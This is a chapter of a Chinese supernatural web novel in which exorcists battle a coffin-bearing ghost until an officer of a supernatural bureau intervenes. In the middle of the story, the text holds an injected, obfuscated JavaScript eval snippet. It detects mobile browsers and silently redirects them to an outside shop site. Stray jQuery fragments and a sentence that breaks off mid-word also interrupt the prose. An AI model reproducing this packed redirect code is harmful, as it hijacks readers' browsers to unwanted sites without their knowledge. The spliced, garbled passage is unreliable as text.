“七星阵,起!”景焕双手掐诀,念出咒语,此时被深埋在地底的钉子弹了出来,红绳也被拉的绷直,每个钉子周围浮现出一层极淡的、银白色的光晕,每个钉子之间有着银色的线丝丝缕缕的连接在一起。光晕将负棺鬼连同她的棺材一起锁在阵内。
“天清地明,五雷感应,去!”沈续也不再犹豫,从口袋里抓了一把符咒朝着负棺鬼打去。符纸落在负棺鬼的身上,一张一张炸响,乌云中传来雷声与符咒相呼应。一阵噼里啪啦过后,负棺鬼痛的松开了掐着柳阿婆的,往后退了几步。
谢缘上前一步,扶住了因为惯性要摔倒的柳阿婆。柳阿婆站稳后从口袋中拿出五张符咒,一起打向负棺煞,她行走江湖这么多年,最强的就是这招,至今未尝一败。那是她当时跟一个云游术士学的,引天地间的五行之力绞杀邪祟,如果这招不行,那她也没有下一招了。
五张符咒悬浮在空中在负棺鬼身边形成了一个圆打转,绽放出五种不同的光芒,在空中交织称王,朝着负棺鬼逐渐逼近。负棺鬼好不容易从雷符的轰炸中缓过来,看着面前打转的符咒更是气不打一处来,伸手就要抓符咒。却在触碰到符咒的瞬间被灼伤,她强忍着被灼伤的痛,硬生生撕破了一张符咒。接着,剩下的四张也失去了光芒,掉落在地上。
柳阿婆往后退了一步,吐出一口鲜血。负棺煞在七星阵内,发了疯似地攻击阵法,每攻击一下,景焕就颤抖一下,脸上也逐渐浮现出苍白的脸色。沈续从包里抽出桃木剑,刺向负棺鬼。御剑诀他肯定是用不了了,毕竟昨天亏空的真气都没补足。
可他还没有靠近负棺鬼,七星阵就被破了,持阵的景焕吐出一口血,倒在地上。负棺鬼直接抓住沈续的桃木剑,简单粗暴地把桃木剑折成两半,狠狠摔在地上。接着,阴气朝着几人席卷而来。
谢缘在找幻境的阵眼,一时不查被掀翻到地上,沈续更是重重地飞了出去摔在地上。一条红绳从沈续的口袋里掉出来,沈续的目光落在红绳上,捏着红绳:“这、这要怎么用……”
负棺鬼一只手掐着沈续的脖子,力大到沈续瞬间就呼吸不上来:“你没机会了,去死吧!”
柳阿婆和景焕从地上爬起来,想要去救沈续,却被地底上伸出来的阴气死死缠住手腕。一旁的谢缘心念一动催动了沈续手腕中的南明离火,离火幻化成朱雀的虚影穿透负棺鬼的胸口。
负棺鬼眼中流露出惊恐,她能感受到自己身上的阴气正在一点点消散。也就是在这时候,谢缘看到了棺材和负棺鬼之间有丝丝缕缕的阴气连接。不过刚才阴气爆发的太快,谢缘又着急,没有看到。如今南明离火驱散了阴气,她也就能看清了,她指着棺材:“为什么那里看着好黑!”
沈续从负棺鬼手中挣脱后正在大口喘气,听到谢缘的声音顺着她的指尖看去。他只是半吊子,不是傻子,自然也察觉到了,棺材才是负棺鬼的阴气来源,也是她的弱点。
“阿续,快打碎棺材!”景焕喊了一声。谢缘也站起身,悄悄念咒,将沈续手中的红绳变成长鞭。并且暗中为沈续加持,以沈续如今的道行,怕是用不了她的法器。就算用得了,结束后他体内心魔种的状态也会稳不住。
危急时刻,沈续也顾不上这个绳子为什么变长,拿着长鞭猛地抽向棺材。此时的负棺煞也摆脱了南明离火的纠缠,猛地从背后勒住沈续的脖子,阻止他靠近棺材。谢缘眯起眼中,加大了的真气的输送。沈续手中鞭子急速变长,狠狠打在棺材之上。鞭子接触到棺材的瞬间,离火包裹住棺材,熊熊烈火吞噬了棺材。
原本勒住沈续的负棺鬼瞬间消散在空中,周围环境开始快速变化,在几人片刻的眩晕后。周遭突然变得暖洋洋的,太阳从云层后面冒出头,最先醒来的是沈续。他揉着微疼的脑袋站起身发现柳阿婆和景焕都躺在地上,而谢缘则维持原先的姿势靠在树上。谢睁开眼睛,眉头微蹙,她这副身体还是太弱了,根本就承受不了这么多的真气。刚才只是用了一点点,现在就浑身酸软了。
他叫醒了柳阿婆和景焕,几人看到桌子上有几片树叶,树叶上面放着泥巴和虫子。沈续脸色一白:“所以……刚才是幻境?小缘说的不是假话。”
“等等,小缘呢!”还没等柳阿婆给她回答,沈续猛地反应过来,下意识看向树下。只见谢缘神色虚弱地靠在树上,正当沈续准备确认谢缘是不是有事的时候。水面开始剧烈晃动,气急败坏地负棺鬼坐在棺材上从水里冒出来,只是棺材有些破破烂烂的,上面有南明离火留下的痕迹。
“不是吧,还来啊。”沈续大惊失色,手伸进口袋里想掏出符纸,却发现符纸没了。
柳阿婆此时的面色也不太好看,摸了摸自己口袋,符纸早就在幻境中用完了。现在他们三个就像是待崽的羔羊,如果负棺煞真的动手,他们一点办法都没有。想到这柳阿婆从牙缝中挤出几个字:“居然是虚实结合的幻境……”
“虽然我受了点伤,但你们也没有任何反抗之力了,受死吧!”负棺鬼将棺材变得巨大,操纵着棺材朝着三人袭来。谢缘站起身,想施法用红绳挡住,却被另一个人抢先。
一根棍子从沈续身后出现,一下就把棺材打的老远。接着一个国字脸的中年男人从沈续身后出来,穿着一身黑风衣。脖子上挂着一块无事牌,棍子是铁的,并且身上和头上都刻满降妖的咒语。
棺材被棍子打中,飞回到负棺鬼的身边。负棺鬼看到中年男人面色变了又变,咬牙切齿地开口:“秦毅,又是你。”
谢缘听到这个名字,愣了一下。她没记错的话,秦毅是超自然管理局N市分局的组长,没想到这么快就遇见超管局的人了。她倒不担心秦毅会把她认出来,之前照镜子她就发现了,她现在这张脸和以前完全不一样。以前那张脸,很冷,看人的目光永远带着审视,无人靠近她;如今的这张脸好点,眉眼温和,乍一看有几分温婉的江南美人之姿。
“连杀四家人,你真当超管局抓不到你吗?”秦毅面色铁青。就是这个负棺鬼,一晚上杀了四家,整整十六个人,这件事都惊动总局了。要是他再不把这个负棺鬼抓回去,他这组长也别当了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863126|212101||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“那是他们该死!谁让他们的祖上不积德,把我钉死在棺材里。”负棺鬼的姿势变得警惕。
“谁造的孽你找谁去,不敢闯地府寻仇,在人间挑软柿子是吧。”秦毅听到这话,气不打一处来,铁棍往地上一顿,震起一阵尘土:“当年害你的人,早就被阴司拘到地狱受苦了。你倒好,放着真正的仇人不找,找人家的后代,算哪门子报仇?”
其实玄学界倒也不是完全禁止报仇,只是报仇有一条很微妙的界限。如果当年那些村民还活着,负棺鬼去找他们报仇,只要不滥杀无辜,很多玄术师都会睁一只眼闭一只眼。但如果祸及家人了,那肯定是不许的,毕竟当年那些村民祸害她的时候后代可能还没出生,出生了也可能是小孩。站在他们的角度上,他们就是无辜的,什么都没做,莫名其妙被取了性命。还
负棺鬼的面色一瞬间扭曲得不成人形,是她不想去吗?是阴间那些大佬她一个都打不过,人家就是专门抓鬼的,法器都是针对鬼的。她要是真的去了,那不是阎王殿里讨饭,找死吗。负棺鬼声音尖利:“你懂什么,这叫父债子偿!是他们欠我的!”
“没空跟你废话,要么你现在自己去阴间报道,要么,我就把你打的魂飞魄散。”秦毅看着眼前执迷不悟地负棺鬼,眯起眼睛。他已经不想超度这个负棺鬼了,嗜杀成性,就算去了地府也不一定老实,好不容易直接杀了,省的祸害世间的人。
谢缘扶着树站起来,看着远方的负棺鬼,莫名的松了口气。既然超管局介入了,那她就不用担心了,毕竟能加入超管局的,都是战力天花板。
“做梦!”负棺鬼眼中浮现出一丝惧色,心中思索着要如何脱困,她的目光看向谢缘,眯了眯眼睛。只要在秦毅动手之前附身到谢缘身上,就能一跃突破成鬼王,到时候,自己也能与秦毅有一战之力。
谢缘察觉到了负棺鬼的目光,挑衅似地挑了挑眉。果然,下一秒负棺鬼就朝着谢缘飞过来,只是刚动了一步,秦毅的棍子就狠狠捅向负棺鬼的小腹。一棍子结结实实打在负棺鬼身上,给负棺鬼的眼神都干清澈了,身上的阴气正在快速散去。负棺鬼狠狠剜了秦毅一眼,就朝着棺材飞去。似乎是在找一个安全的庇护所。
“大师,她的棺材是她阴气的来源!”沈续见负棺鬼转头就跑,立马出言提醒秦毅。
秦毅心领神会地一棍子劈在棺材上,棺材四分五裂,黑水伴随着一块块散落的骨头流出。负棺鬼的身体渐渐变成透明,不可置信地看着秦毅:“不、不可能,主人救我!”
秦毅没打算放过她,第二棍带着雷霆之势朝着负棺鬼的头部砸下去。就在即将砸到负棺鬼的头部时,一抹黑气从负棺鬼的眉心飞出硬生生扛下了秦毅的暴击。接着一张扭曲的人脸出现在半空中,祂直直地盯着谢缘:“我们还会再见的。”
说完,祂就消失在空中,连同负棺鬼、棺材和白骨都消失地无影无踪。谢缘看到黑气扭曲的人脸时感觉到一股莫名的熟悉感。她可以确自己从来没见过邪神,为什么会有似曾相识的感觉……